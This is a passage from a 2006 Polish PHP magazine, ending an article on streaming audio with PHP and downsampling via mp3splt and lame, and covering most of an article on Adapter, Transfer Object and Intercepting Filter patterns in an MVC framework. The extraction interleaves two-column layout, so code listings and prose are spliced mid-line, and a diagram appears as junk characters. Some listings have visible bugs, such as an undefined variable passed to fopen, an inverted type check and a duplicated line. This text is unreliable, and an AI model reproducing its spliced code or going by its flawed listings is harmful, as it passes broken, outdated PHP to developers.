problemu poza wyłączeniem Safemode
jest zwiększenie max_execution_time w
php.ini.
Powinniśmy również wysłać inną pa-
rę nagłówków: Accept-Ranges: i Content-
Length:. Są one potrzebne do wyszukiwa-
nia określonego miejsca w pliku. Accept_
Ranges: bytes informuje aplikację klienc-
ką, że może zażądać określonego zakre-
su bajtów pliku. Bez tego nagłówka więk-
szość odtwarzaczy nie będzie umożliwiać
wyszukiwania. Nagłówek Content-Length
pomaga aplikacji klienckiej ustalić dłu-
gość pliku.
Rysunek 2. Próba otwarcia pliku dźwiękowego w przeglądarce
Po otwarciu pliku sprawdzamy po-
czątkowy offset żądanego bajtu ($start_ simy także dodać nagłówki 206 Partial Strumieniowanie pliku
offset). Jeżeli zostanie on znalezio- Content i Content-Range – dzięki temu Możemy wreszcie rozpocząć transmi-
ny, użyjemy funkcji PHP fseek() w celu klient będzie wiedzieć, że nie otrzymuje sję strumieniową pliku. Zrobimy to w ra-
przeskoczenia do danej części pliku. Je- całego pliku oraz będzie znać początek mach pętli while, która sprawdzi począ-
żeli używana jest funkcja fseek(), mu- zawartości. tek i koniec pliku lub ewentualnie prze-
rwane połączenie, odczyta 8192 bajtów
Listing 4. Zawartość /play.php z pliku i poda dane wyjściowe za po-
mocą print(). Nasza aplikacja jest go-
<?php towa.
$dbh=mysql_connect('localhost','user','password') or die
('BŁĄD: nie można połączyć się z bazą danych');
$sql="SELECT file FROM music WHERE id='" . sql_escape($_REQUEST['song_id'])."'";
Downsampling
$db_results = mysql_query($sql, $GLOBALS['dbh']);
Skoro nasza aplikacja jest ukończo-
$results = mysql_fetch_assoc($db_results); na i działa bez zarzutu, powinniśmy wy-
$filename = $results['file']; posażyć ją w dodatkową funkcję down-
$info = pathinfo($filename); samplingu, czyli możliwość zmniejsza-
$extension = $info['extension'];
nia częstotliwości próbkowania utworu.
switch ($extension) {
case 'mp3':
Funkcja taka może być przydatna pod-
$content_type = "audio/mpeg"; break; czas przygotowywania audycji interne-
case 'ogg': towych niskiej jakości, np. w przypadku
$content_type = "application/x-ogg"; break; wolnego łącza lub gdy chcemy prezen-
case 'flac':
tować wersje demonstracyjne płatnych
$content_type = "audio/x-flac";
$extension = "ogg"; break;}
utworów.
header('Content-type: ' . $content_type . ';'); Ampache wykorzystuje LAME do ob-
header('Content-Disposition: filename=song.' . $extension); niżania częstotliwości próbkowania pli-
set_time_limit(0); ków dźwiękowych (patrz Ramka Down-
set_magic_quotes_runtime(0);
sampling za pomocą zewnętrznych pro-
$fp = @fopen($file,'r');
header('Accept-Ranges: bytes');
gramów). Ponieważ plik zostanie ponow-
header('Content-Length: ' . filesize($filename)); nie zakodowany, wyszukiwanie wyma-
$startArray = sscanf($_SERVER['HTTP_RANGE'],"bytes=%d-"); ga, abyśmy użyli dodatkowego programu
$start_offset = $startArray['0']; o nazwie mp3splt. Przeprowadzenie do-
If ($start_offset) {
wnsamplingu w locie wymaga niewielkiej
fseek($fp, $start_offset);
$range = $start_offset . '-' . $filesize . '/' . $filesize;
modyfikacji kodu z Listingu 4. Po pierw-
header('HTTP/1.1 206 Partial Content'); sze musimy ręcznie ustawić pewne zwią-
header("Content-Range: bytes=$range"); zane z utworem zmienne (skrypt nie bę-
} dzie uniwersalny, ale można go łatwo roz-
while (!feof($fp) && (connection_status() == 0)) {
budować):
$buf = fread($fp,8192);
print($buf);
} l bitrate ($song _ bitrate),
@fclose($fp); l częstotliwość próbkowania ($sample _
?> rate),
l czas trwania ($song _ time).

26 www.phpsolmag.org PHP Solutions Nr 3/2006


streaming audio w PHP Techniki

Dodatkowe informacje, takie jak bitrate


i długość utworu, można zebrać przy uży- Listing 5. Zawartość /play.php with downsampling
ciu biblioteki getid3(). <?php
Po wysłaniu pierwszych dwóch ...
nagłówków (Content-type i Content- // podanie nagłówków w oparciu o typ pliku
Disposition) obliczymy sample_ratio header('Content-type: ' . $content_type . ';');
header('Content-Disposition: filename=song.' . $extension);
na podstawie częstotliwości próbkowa-
// ustawienie częstotliwości próbkowania i uniknięcie jej zwiększania
nia oraz ustawione próbkowanie pio- if (($sample_rate*1000) > $song_bitrate) {
senki: $sample_rate = $song_bitrate/1000;
$sample_ratio = '1';
if (($sample_rate*1000)>$song_bitrate){ } else { $sample_ratio = $sample_rate/($song_bitrate/1000); }
set_time_limit(0);
$sample_rate = $song_bitrate/1000;
set_magic_quotes_runtime(0);
$sample_ratio = '1';
// informacja dla przeglądarki, że może określić zakres bajtów
} else { header('Accept-Ranges: bytes');
$sample_ratio = $sample_rate/ header('Content-Length: ' . $sample_ratio*filesize($filename));
($song_bitrate/1000); // pobranie offsetu, długość utworu taka jak w $song_time
$offset = ( $start*$song_time )/( $sample_ratio*filesize($filename));
}
$offsetmm = floor($offset/60);
$offsetss = floor($offset-$offsetmm*60);
Taka metoda obliczeń gwarantuje, że $offset = sprintf("%02d.%02d",$offsetmm,$offsetss);
częstotliwość próbkowania nie zostanie $eofmm = floor($song_time/60);
zwiększona. $eofss = floor($song_time-$eofmm*60);
$eof = sprintf("%02d.%02d",$eofmm,$eofss);
Następną modyfikację należy wpro-
$song_file = escapeshellarg($filename);
wadzić po wysłaniu kolejnych dwóch $downsample_command = "mp3splt -qnf $song_file $offset $eof -o - | ".
nagłówków (Accept-Ranges i Content- " lame --mp3input -q 3 -b $sample_rate -S - -";
Length). Zmienimy sposób obliczania of- // użycie popen, ponieważ otwieramy proces, a nie plik
fsetu ($offset), biorąc pod uwagę zdefi- $fp = @popen($downsample_command, 'r');
// Strumieniowanie pliku
niowany czas trwania ($song_time) i pro-
while (!feof($fp) && (connection_status() == 0)) {
porcje próbkowania ($sample_ratio). $buf = fread($fp,8192);
print($buf);
$offset = ( $start*$song_time )/ }
( $sample_ratio*filesize($filename)); @pclose($fp);
?>
$offsetmm = floor($offset/60);
$offsetss = floor($offset-$offsetmm*60);
$offset = sprintf("%02d.%02d",
$offsetmm,$offsetss); “ lame --mp3input -q 3 -b Podsumowanie
$sample_rate -S - -“; Udowodniliśmy, że do stworzenia serwera
Kolejny fragment kodu zajmie się pobra- transmisji strumieniowych wystarczy PHP,
niem danych o końcu pliku (EOF) w minu- I wykonajmy je poprzez otwarcie stru- Apache i baza danych. Te same pomysły
tach I sekundach: mienia (zastępuje to otwarcie pliku z po- można zastosować przy tworzeniu serwe-
przedniego przykładu): użyjemy popen() ra transmisji wideo. Choć nasz przykład jest
$eofmm = floor($song_time/60); zamiast fopen(), ponieważ uruchomienie względnie prosty, zapewnia solidne wpro-
$eofmm = floor($song_time/60); wyrażenia jest procesem, a nie plikiem: wadzenie do świata transmisji multimedial-
$eof = sprintf("%02d.%02d",$eofmm,$e nych. Przykład można rozwinąć, tworząc
ofss); $fp = @popen($downsample_command, 'r'); zaawansowany portal muzyczny (z kilkoma
modyfikacjami) lub nadając audycje wideo.
Spróbujmy teraz przeprowadzić down- Ostatnim krokiem jest rozpoczęcie trans- Niezależnie od wyboru należy pamiętać, że
sampling pliku za pomocą zwenętrznych misji strumieniowej, w taki sam sposób, te tajemnicze transmisje strumieniowe pole-
aplikacji – mp3splt i lame. Zanim zacznie- jak poprzednio. Po ukończeniu proces mu- gają jedynie na manipulacji nagłówkami. n
my, oczyśćmy łańcuch z nazwą pliku, aby si zostać zamknięty funkcją @pclose($fp)
zapobiec błądom lub niechcianemu wyko- zamiast użytej wcześniej fclose(). To
nywaniu poleceń: wszystko – nasz skrypt działa bez zarzutu.
Na Listingu 5 zaprezentowano skrypt O autorze:
$song_file = escapeshellarg($filename); do transmisji strumieniowej umożliwia-
jący downsampling, pozbawiony jedynie Karl Vollmer jest głównym dewelope-
Przygotujmy polecenie dotyczące down- początkowych operacji na bazie danych rem i liderem projektu Ampache od roku
2003. Był także jednym z dwóch głów-
samplingu: i wyboru rozszerzenia pliku (są one takie,
nych deweloperów projektu OSUOSL.
jak na Listingu 4). Kompletny kod źródło- Obecnie pracuje dla College of Forestry
$downsample_command = “mp3splt -qnf wy można pobrać z naszej strony interne- na Uniwersytecie Stanowym w Oregon.
$song_file $offset $eof -o - | “ . towej (http://www.phpsolmag.org).

PHP Solutions Nr 3/2006 www.phpsolmag.org 27


Techniki

Wzorce projektowe w akcji,


czyli ciąg dalszy Niezbędnika
dewelopera PHP
Stopień trudności: lll
Piotr Szarwas

Czytelny i przejrzysty kod. Elastyczna


i w każdym momencie gotowa na rozbudowę
architektura. Bogata, dodawana w elegancki
sposób funkcjonalność. I w końcu najlepsze
praktyki programowania obiektowego w PHP5.
Poznaj trzy kolejne omówione w tym artykule
wzorce projektowe.

W
poprzednim artykule na przy- Nazwane wyjątki
kładzie prostego frameworka – dlaczego warto je
MVC pokazaliśmy wam, jak stosować
w praktyce można zaimplementować trzy Po pierwsze dodaliśmy trochę kodu
wzorce programistyczne: Strategy, Com- sprawdzającego poprawność zwraca-
posite i Decorator. Posłużyły nam one do nych obiektów. PHP nie jest językiem
zbudowania klasy FrontControllerImpl, ścisłego typowania, lepiej więc się za-
implementującej wzorzec architektonicz- bezpieczyć i sprawdzić, czy zwracane
ny FrontController. informacje są właściwego typu. O po-
W tym artykule zaprezentujemy wam, jawieniu się błędu informujemy poprzez
W SIECI jak w naszym framewroku można wyko-
rzystać wzorce Adapter, Transfer Object
i Intercepting Filter. Pokażemy, jak stosu- Co należy wiedzieć...
Powinieneś znać podstawy programo-
1. http://flexi.sourceforge.net/ jąc kompozycję i delegację można rozbu- wania obiektowego w PHP5. Przydatna
– tu umieściliśmy tworzony
dować funkcjonalność klasy FrontControl- będzie również lektura artykułu wprowa-
przez nas Framework
2. http://www.artima.com/ lerImpl. dzającego w tematykę wzorców projekto-
designtechniques/ Zanim przejdziemy do omawia- wych, który ukazał się w poprzednim nu-
compoinh.html – kiedy sto- merze PHP Solutions.
sować kompozycję, a kiedy nia wspomnianych wzorców wprowa-
dziedziczenie dzimy drobne zmiany w klasie Front-
3. http://www.zend.com/php/
design/ – projektowanie apli-
ControllerImpl . Na Listingu 1a poka- Co obiecujemy...
kacji w PHP5 zana jest implementacja nowej wersji Poznasz trzy kolejne wzorce projektowe
4. http://www.developer.com/ (Adapter, Transfer Object i Intercepting
tej klasy. Zmiany wydają się dość po- Filter) i ich praktyczne wykorzystanie w
design/article.php/3345121
– implementacja wzorców ważne, ale są łatwe do wytłumacze- rozbudowie naszego frameworka.
projektowych w PHP5 nia.

28 www.phpsolmag.org PHP Solutions Nr 3/2006


Wzorce projektowe Techniki

rzucanie odpowiednich wyjątków. Są to


tzw. nazwane wyjątki. Dzięki określeniu Konwencje Kodowania
typu każdego z wyjątków kod jest czytel- W sekcji tej chcielibyśmy pokrótce opisać konwencje kodowania, jakie będziemy sto-
niejszy i sam się dokumentuje. Typowa- sować podczas pisania wszystkich artykułów:
ne wyjątki pozwolą też na elastyczniej-
• Będziemy się starali, aby tam gdzie jest to możliwe, zmienne klas były prywatne,
szą reakcję na błędy. W ramce Konwen- jeżeli wymagać będzie tego architektura będą one typu protected. Z całą pewno-
cje kodowania możecie dodatkowo prze- ścią będziemy się starać, aby nie były one publiczne. Zmienne publiczne powodu-
czytać, dlaczego nazwane wyjątki są ta- ją, że kod przestaje być odporny na zmiany.
kie ważne. • Praktycznie w każdym miejscu jako dostępu do zmiennych klasy będziemy starali
się wykorzystywać tzw. settery i gettery (dostęp do zmiennych składowych przy
pomocy _ _ get i _ _ set). Dzięki temu kod jest bardziej odporny na zmiany.
Request Object / • Konwencja nazewnictwa metod i zmiennych została zapożyczona z Javy, a do-
Transfer Object kładniej ze specyfikacji JavaBeansów.
Zmieniliśmy też wymagania dotyczące • Jako podstawowy model obsługi błędów wykorzystaliśmy wyjątki. Dodatkowo
w każdym miejscu, w którym rzucany był wyjątek, nie był on generycznego ty-
metody doAction. Chcemy, aby zwró- pu. Wyjątki pełnią w kodzie kilka funkcji: informują o wystąpieniu błędu, swoim
ciła ona obiekt klasy ModelAndView lub typem informują o typie błędu, ich jasne nazwy pełnią funkcję dokumentacji. Tak
wartość null. Zmiana ta nie wymaga na więc zawsze starajcie się stosować nazwane wyjątki, a nie bezpośrednio klasę
szczęście zmiany interfejsu MVCAc- Exception.
• Wszędzie, gdzie jest to możliwe, stosujemy silne typowanie. Ogranicza to pew-
tion. Teraz akcje nie będą same ren- nie ograniczenie stosowalności naszego frameworka do PHP 5.0, a w niektórych
derować warstwy prezentacji, a jedynie miejscach do PHP 5.1. Z naszego doświadczenia wynika jednak, że w przypadku
w postaci klasy ModelAndView dostar- frameworków silne typowanie powoduje, że popełniamy mniej błędów.
czać front kontrolerowi wszystkich infor-
macji potrzebnych do wyrenderowania
strony: logiczną nazwę szablonu i dane nego rodzaju programistycznym trikiem. do metody doAction informacji o języ-
do prezentacji. Logiczne nazwy szablo- Stosując obiekty do wymiany danych ku. Ale to oznacza, że będziemy musie-
nów to nazwy, które nie będą przywią- pomiędzy różnymi warstwami aplikacji, li zmienić implementację tej metody we
zane do żadnego mechanizmu rende- przygotowujemy kod na przyszłe zmia- wszystkich istniejących już akcjach. A te-
rowania stron. Nie są to np. nazwy pli- ny formatu komunikacji pomiędzy tymi go z całą pewnością nie chcemy, poza
ków z szablonami Smarty lub PHPTAL. warstwami, bez potrzeby zmiany inter- tym nie wszystkie akcje potrzebują ję-
W dalszej części artykułu pokażemy fejsów komunikujących się metod. Spró- zyka do swojego poprawnego działania.
wam, dlaczego tak jest i jak przekształ- bujmy wyjaśnić to na przykładzie klasy Kolejnym pomysłem może być dodanie
cić te informacje na obiekty, które będą HttpRequest. do interfejsu MVCAction kolejnej meto-
potrafiły wygenerować kod HTML. Pod- Klasa ta pełni podobną funkcję jak dy np. doActionWithLangSupport, w któ-
sumowując można powiedzieć, iż kla- ModelAndView, czyli jest kontenerem da- rej jako drugi parametr będziemy poda-
sa ModelAndView jest swojego rodzaju nych przekazywanych pomiędzy war- wać język. Ale teraz pojawia się kolej-
kontenerem. Jej implementacja znajdu- stwami aplikacji (Rysunek 1). Wyobraź- ny problem jak w front kontrolerze pod-
je się na Listingu 1b. Rozszerza ona kla- cie sobie, że pojawiła się potrzeba, aby jąć decyzję, którą metodę mamy wyko-
sę NameValuePairHolder, która opako- akcje dostawały informacje o języku rzystać. Tak więc żadne z tych rozwią-
wuje tablicę asocjacyjną, przechowują- (polski, angielski, itp.), w którym zosta- zań nie jest dobre. Istnieje jednak du-
cą wszystkie dane przekazywane z akcji nie wygenerowana strona. Język, w ja- żo prostsze rozwiązanie – dodanie do
do front kontrolera. Pełna implementacja kim ma być wyrenderowana strona, de- klasy HttpRequest metody getLocale.
klasy NameValuePairHolder znajduje się finiowany jest w front kontrolerze. Pierw- Dzięki temu Front Controller pozosta-
w kodzie dołączonym do artykułów. Za- sze co przychodzi nam do głowy, to nie bez zmian. Interfejs MVCAction rów-
stosowanie klasy ModelAndView jest pew- zmiana interfejsu MVCAction i dodanie nież. Dodatkowo każda akcja, która bę-
dzie do swojego działania potrzebować
języka pobierze go sobie z HttpRequest.
��������������� Z przytoczonego rozwiązania płynie pro-
sty wniosek: wszędzie, gdzie spodzie-
wacie się, że mogą pojawić się zmiany
interfejsu do przekazywania danych do
����������� ������������
metod, stosujcie obiekty lub tablice aso-
cjacyjne. Dzięki temu wasz kod będzie
bardziej odporny na zmiany.
���������������� Omawiany problem chyba nigdy nie
doczekał się swojej nazwy jako wzorzec.
My postanowiliśmy zapożyczyć nieformal-
Rysunek 1. Przepływ danych pomiędzy różnymi warstwami aplikacji z wykorzystaniem nie nazwę z innego wzorca i ochrzcić nasz
pojedynczego obiektu jako kontenera danych trik nazwą Transfer Object.

PHP Solutions Nr 3/2006 www.phpsolmag.org 29


Techniki Wzorce projektowe

FrontController – jak PDF. Odpowiedzialność za odnalezie- wą implementacje dla Smarty, a Listing 4


kompozycją zwiększyć nie i wygenerowanie strony przekażemy nową wersję Front Controllera. Listing 4
jego możliwości klasom implementującym interface View. zawiera szereg klas, które nie zostały
Po drobnych zmianach, które wprowa- Za utworzenie i odnalezienie odpowied- jeszcze omówione, ale nie martwcie się
dziliśmy na Listingu 1b nasz Front Con- niego widoku odpowiedzialne będą kla- – po lekturze całego artykułu wszystko,
troller jest gotowy do dalszej przebudo- sy implementujące interfejs ViewReso- co jest na tym Listingu, powinno być zro-
wy. Zaczniemy od tego, że Front Con- lvingStrategy. Zbudowane w ten sposób zumiałe. Podział na ViewResolvingStra-
troller i akcje powinny być napisane tak, API będzie można łatwo rozszerzać do- tegy i View jest powtórką rozwiązania
by żadne z nich nie było odpowiedzialne dając kolejne klasy typu ViewResolving- zaprezentowanego w poprzednim arty-
za wyświetlenie „strony” dla użytkowni- Strategy i kolejne klasy widoków. Listing kule, tam posłużyliśmy się nim do odnaj-
ka. Poprzez stronę rozumiemy dowolną 2a prezentuje interfejsy View i ViewRe- dywania akcji. Architektura ta wydaje się
formę prezentacji HTML, XML, CSV lub solver, Listing 2b zawiera ich przykłado- nam na tyle użyteczna, że powtórzymy
ją jeszcze raz.
Listing 1a. Ulepszona klasa FrontControllerImpl Wyobraźcie sobie, że tworzycie apli-
kację, która jako jedno ze swoich wy-
magań ma możliwość działania w wielu
class FrontControllerImpl implements FrontController wersjach językowych, przy czym klient
{
nie zdefiniował, ile to będzie wersji.
private $actionResolvingStrategy;
public function __construct(ActionResolvingStrategy $actionResolvingStrategy) Klient chciałby też móc w prosty sposób
{ tworzyć kolejne wersje językowe napisa-
$this->setActionResolvingStrategy($actionResolvingStrategy); nej przez was aplikacji. Należy więc do
} naszego frameworka dodać mechanizm
public function doService(HttpRequest $request)
zarządzania internacjonalizacją aplika-
{
$actionClass = $this->getActionResolvingStrategy()->resolveAction($reques cji. Problem ten sprowadzimy do napi-
t); sania kilku klas implementujących inter-
fejs LocaleResolvingStrategy, które bę-
if ( is_null( $actionClass ) ) dą zawsze zwracać obiekty typu Loca-
{
le. Obiekty typu Locale będą przekazy-
throw new ActionDoesNotExistsException('Nie znaleziono akcji do
wykonania'); wane do innych klas, które będą umia-
}

if ( $actionClass instanceof MVCAction ) Listing 1b. Implementacja klasy


{ ModelAndView
throw new WrongReturnTypeException('Zwrócony obiekt nie jest typu
MVCAction');
} class ModelAndView extends
NameValuePairHolde
$modelAndView = $actionClass->doAction($request); {
private $template;
if ( !is_null( $modelAndView ) && !($modelAndView instanceof ModelAndView) private $view = null;
)
{ public function setView(View
throw new WrongReturnTypeException('Zwrócony obiekt nie jest typu $view)
ModelAndView'); {
} $this->view = $view;
}
return $modelAndView;
} public function getView()
{
//gettery i settery return $this->view;
}
private function getActionResolvingStrategy()
{ public function
return $this->actionResolvingStrategy; setTemplate($templateName)
} {
$this->template = $templateName;
private function setActionResolvingStrategy(ActionResolvingStrategy $actionRe }
solvingStrategy)
{ public function getTemplate()
$this->actionResolvingStrategy = $actionResolvingStrategy; {
} return $this->template;
} }

30 www.phpsolmag.org PHP Solutions Nr 3/2006


Wzorce projektowe Techniki

ły je wykorzystać. Takim przykładem jest


Listing 2a. Interfejsy View i ViewResolver dowolna klasa typu ViewResolvingStra-
tegy, która w zależności od Locale może
interface ViewResolvingStrategy
{ zwrócić inny plik szablonu. Przykładowe
public function resolveView($viewName, Locale $locale); implementacje interfejsów LocaleReso-
} lvingStrategy i klasy Locale pokazane są
na Listingach 3a i 3b.
interface View
Tworząc szereg małych klas, któ-
{
public function render(array $data); re specjalizują się w wykonywaniu pro-
} stych pojedynczych zadań czynimy nasz
framework bardzo elastycznym i goto-
Listing 2b. Przykładowa implementacja interfejsów View i ViewResolver dla wym na rozszerzenia. Dodatkowo ma-
Smarty
łe klasy są łatwe w zrozumieniu i testo-
class SmartyViewResolvingStrategy implements ViewResolvingStrategy waniu. Klasa FrontControllerImpl wraz
{ z implementacjami różnych interfejsów
private $renderingEngine; typu ResolvingStrategy jest idealnym
private $tplPath;
przykładem na to, jak zasada kompozy-
private $tplPrefix;
private $tplSuffix;
cji obiektów może spowodować, że nie-
wielki rozmiarami kod potrafi wykonywać
public function __construct(Smarty $smartyEngine, $tplPath, $tplPrefix = '', bardzo skomplikowane zadania. Wy-
$tplSuffix = '.tpl.html') obraźcie sobie, jak trudnym byłoby na-
{
pisanie tego kodu, gdyby zawierał się
$this->setRenderingEngine($smartyEngine);
$this->setTplPath($tplPath);
on w jednej dużej klasie, taki kod były
$this->setTplPrefix($tplPrefix); najprawdopodobniej nieczytelny i trudny
$this->setTplSuffix($tplSuffix); do przetestowania. Przykład FrontCon-
} trollerImpl pokazuje, że zaawansowany
public function resolveView($viewName, Locale $locale)
w swoim działaniu kod nie musi być
{
$fileName = $this->getTplPath().'/'.$this->getTplPrefix().$viewName;
skomplikowany – wystarczy jedynie, aby
istniały złożone relacje pomiędzy prosty-
if ( $locale != null && $locale->getLang() != '' ) mi obiektami.
{ Kompozycja nie zawsze jest naj-
$fileName .= '_'.$locale->getLang();
lepszym rozwiązaniem. Podobnie jak
}
dziedziczenie, należy ją stosować
$fileName .= $this->getTplSuffix(); z rozwagą. Pojawia się więc pytanie,
$this->getRenderingEngine()->template_dir = dirname($fileName); kiedy należy stosować kompozycję
a kiedy dziedziczenie. Ciężko jest jed-
return new SmartyView($this->getRenderingEngine(), 'file:'.$fileName);
noznacznie odpowiedzieć na to pytanie,
}
szczególnie w ramach artykułu. Istnieje
pewien zestaw wskazówek, o których
// gettery i settery zostały pominięte można przeczytać pod adresem: http://
} www.artima.com/designtechniques/
class SmartyView implements View
compoinh.html.
{
private $renderingEngine = null;
private $tplFile; Adapter
Na Listingu 5a pokazana jest implemen-
public function __construct(Smarty $renderingEngine, $tplFile) tacja klasy MCacheActionResolverStrate
{
gy, którą stworzyliśmy we wcześniejszej
$this->setRenderingEngine($renderingEngine);
$this->setTplFile($tplFile);
części artykułu. Klasa ta zwraca na pod-
} stawie nazwy obiekt akcji, który został
public function render(array $data) zapisany w cache'u. Jeżeli obiekt nie zo-
{ stanie odnaleziony w cache'u, rzucany
$this->getRenderingEngine()->clear_all_assign();
jest wyjątek. Jako mechanizm cachowa-
$this->getRenderingEngine()->assign($data);
nia wykorzystany został memcache. Wy-
return $this->getRenderingEngine()->fetch($this->getTplFile()); obraźmy sobie teraz, że pojawia się na-
} gle potrzeba zaimplementowania inne-
go mechanizmu cachowania, np. znane-
// gettery i settery zostały pominięte
go chyba wszystkim CacheLite. Problem
}
ten możemy rozwiązać na kilka sposo-
bów. Najprościej byłoby skopiować kod

PHP Solutions Nr 3/2006 www.phpsolmag.org 31


Techniki Wzorce projektowe

Listing 3a. Przykładowa implementacja interfejsu Listing 4. Nowa wersja Fron Controllera. Zastosowanie
LocaleResolvingStrategy kompozycji zwiększa jego możliwości

class Locale class FrontControllerImpl implements FrontController


{ {
private $actionResolvingStrategy;
private $langCode; private $viewResolvingStrategy;
private $localeResolvingStrategy;
public function __ construct($langCode)
{ public function __construct(
$this->setLangCode($langCode); ActionResolvingStrategy $actionResolvingStrategy,
} ViewResolvingStrategy $viewResolvingStrategy,
LocaleResolvingStrategy $localeResolvingStrategy)
public function getLangCode() {
{ $this->setActionResolvingStrategy($actionResolvingS
return $this->langCode; trategy);
} $this->setViewResolvingStrategy($viewResolvingStra
tegy);
private function setLangCode($langCode) $this->setLocaleResolvingStrategy($localeResolvingS
{ trategy);
$this->langCode = $langCode; }
}
public function doService(HttpRequest $request)
} {
$result = null;
interface LocaleResolvingStrategy
{ try
public function resolveLocale(HttpRequest $request); {
} $this->filter->doPreProcessing($request);

Listing 3b. Przykładowa implementacja klasy Locale $locale = $this->getLocaleResolvingStrategy()->


resolveLocale($request);
class RequestParamLocaleResolvingStrategy
$actionClass = $this->getActionResolvingStrateg
implements LocaleResolvingStrategy y()->
{ resolveAction($request);

private $requestKey; $modelAndView = $actionClass->doAction($request);

private $defaultLangCode; $viewObj = $modelAndView->getView();

public function __construct($requestKey, if ( !($viewObj instanceof View) )


$defaultLangCode) {
{ $viewObj = $this->getViewResolvingStrategy()->
$this->setRequestKey($requestKey); resolveView($modelAndView->getTemplate(),$l
ocale);
$this->setDefaultLangCode($defaultLangCode); }
}
$result = $viewObj->render($modelAndView-
public function resolveLocale(HttpRequest $request) >getAllVariables());
{
$this->filter->doPostProcessing( $request,
$lang = $request->getVar($this->getRequestKey()); $modelAndView );

if ($lang == '') return $result;


{ }
$lang = $this->getDefaultLangCode(); catch( Exception $exception )
} {
$this->filter->doExceptionProcessing(
return new Locale( $lang ); $exception, $request, $modelAndView);
} }
}

// gettery i settery zostały pominięte // gettery i settery zostały pominięte


} }

32 www.phpsolmag.org PHP Solutions Nr 3/2006


Wzorce projektowe Techniki

klasy MCacheActionResolverStrategy
i przystosować ją do działania z no- Listing 5a. Implementacja klasy McacheActionResolverStrategy
wym mechanizmem cachowania. Czyn-
class MCacheActionResolverStrategy implements ActionResolvingStrategy
ność tę można powtarzać dalej, tzn. {
w momencie, gdy będziemy chcieli do- private $_actionRequestParamName;
dać kolejny mechanizm cachowania private $_memcache;
ponownie skopiujemy kod i utworzy-
public function __construct($actionRequestParamName, $memcacheHost,
my kolejną klasę implementującą in-
$memcachePort)
terfejs ActionResolverStrategy. I w tym {
momencie w naszych głowach powin- $this->_actionRequestParamName = $actionRequestParamName;
no zapalić się czerwone światełko, pod $this->_memcache = new Memcache();
którym powinien migać napis Czy aby $this->_memcache->connect($memcacheHost, $memcachePort);
}
to najprostsze rozwiązanie jest najlep-
sze. Naszym zdaniem nie. public function resolveAction(HttpRequest $request)
Za każdym razem, gdy w waszym {
kodzie pojawia się potrzeba skopiowa- $actionName = $request->getParam($this->_actionRequestParamName);
nia kodu, powinniście się dobrze zasta-
if ($actionName != '')
nowić, czy nie można tak zmienić kodu,
{
aby go nie powtarzać. Zduplikowany kod return $this->_memcache->get($actionName);
jest jednym z największych wrogów każ- }
dego programisty. Jak więc rozwiązać else
ten problem? Najlepiej byłoby uniezależ- {
throw new RuntimeException('Nie wyspecyfikowano akcji do wywołania!');
nić się od implementacji jakiegokolwiek
}
mechanizmu cachowania obiektów. Po- }
służy nam do tego wzorzec Adapter. Kod
naszego frameworka będzie zależny je- }
dynie od interfejsu CacheService imple-
Listing 5b. Klasa CacheActionResolverStrategy, która może pobierać obiekty z
mentowanego przez klasy, za którymi
dowolnego mechanizmu cachującego implementującego interfejs CacheService
ukryta będzie obsługa mechanizmów ca- interface CacheService
chowania. Na Listing 5b prezentuje kla-
se CacheActionResolverStrategy, która {
public function set($key,$data);
może pobierać obiekty z dowolnego me-
public function get($key);
chanizmu cachującego implementujące-
public function remove($key);
go interfejs CacheService. Aby cacho- public function exists($key);
wanie ponownie zadziałało, potrzebuje- }
my teraz jedynie adapterów, które będą class CacheActionResolverStrategy implements ActionResolvingStrategy
{
delegować działanie do Memcacha i Ca-
private $actionRequestKey;
cheLita. Listing 5c pokazuje implementa-
private $cacheService;
cję Adaptera dla CacheLite.
Dzięki oddzieleniu API mechani- public function __construct($actionRequestKey, CacheService $cacheService)
zmów cachujących od klas ActionRe- {
$this->setActionRequestKey($actionRequestKey);
soverów udało się stworzyć mechanizm
$this->setCacheService($cacheService);
cachowania wspólny dla całego frame-
}
worka. Teraz w dowolnym miejscu, w public function resolveAction(HttpRequest $request)
którym będzie potrzebne cachowanie {
obiektów, wystarczy, że będziemy wy- $actionName = $request->getVar($this->getActionRequestKey());
magać klasy implementującej interfejs
if ($this->getCacheService()->exists($actionName))
CacheService.
{
Drugim przykładem wykorzystania return $this->getCacheService()->get($actionName);
wzorca Adapter jest interfejs View opi- }
sany powyżej. W środowisku PHP istnie- else
{
je kilka szablonów renderujących strony.
throw new ObjectDoesnotExistsInCacheException(
Najbardziej znany to oczywiście Smar-
'Nie wyspecyfikowano akcji do wywołania!');
ty, ale sporo zwolenników ma też PHP- }
TAL. Ponadto, pamiętajmy, że dane, któ- }
re przesyłamy do użytkowników, nie za-
// gettery i settery zostały pominięte
wsze muszą mieć postać stron HTML,
}
czasami mogą to być pliki CSV, XML, a
nawet PDF-y. Nie jesteśmy więc w sta-

PHP Solutions Nr 3/2006 www.phpsolmag.org 33


Techniki Wzorce projektowe

�������������� ������������ ���������������������� ������������������� ���������������������

����������������

��������������� ��
������

��������������� ��
���������

����������

�������������

������������� ��
����

���������

�������������������

Rysunek 2. Diagram sekwencji dla klasy FrontControllerImpl z Listingu 4

nie wybrać jednego mechanizmu ren-


derowania szablonów dla naszego fra- Listing 5c. Implementacja Adaptera dla CacheLite.
meworka, bo nie ma takiego, który speł-
niałby oczekiwania wszystkich. Dlate- class CacheLiteCacheService
go klasy implementujące interfejs View {
są adapterami mechanizmów renderują- private $cacheEngine;
cych strony do różnych postaci.
public function __construct(array $options)

Intercepting Filter {
$this->setCacheEngine(new Cache_Lite($options));
Pisząc aplikację często zdarza się, że }
pewne operacje musimy powtarzać w public function set($key,$data)
każdym skrypcie na jego początku i koń- {
return $this->getCacheEngine()->save($data,$key);
cu (ang. preprocessing i postproces-
}
sing). Należą do nich na przykład otwie- public function get($key)
ranie połączenia do bazy i rozpoczyna- {
nie transakcji lub też otwieranie sesji. return $this->getCacheEngine()->get($key);
Tam gdzie dostęp do stron jest chronio- }
public function remove($key)
ny hasłem, jedną z pierwszych operacji,
{
jaką wykonujemy, jest sprawdzanie czy return $this->getCacheEngine()->remove($key);
osoba, która wywołuje daną stronę, jest }
zalogowana. public function exists($key)
Jeżeli korzystamy z jakiegoś fra- {
if ( $this->getCacheEngine()->get($key) )
meworka MVC nasz problem sprowa-
{
dza się do wprowadzania odpowiednie- return true;
go kodu w pliku, który wywołuje Front }
Controller. Jeżeli aplikacja składa się z
niezależnych skryptów, możemy w każ- return false;
}
dym z nich umieszczać odpowiednie in-
// gettery i settery zostały pominięte
cludy – będą one wykonywać pożądane }
przez nas działania. Każde z tych roz-
wiązań ma swoje wady i zalety. W przy-

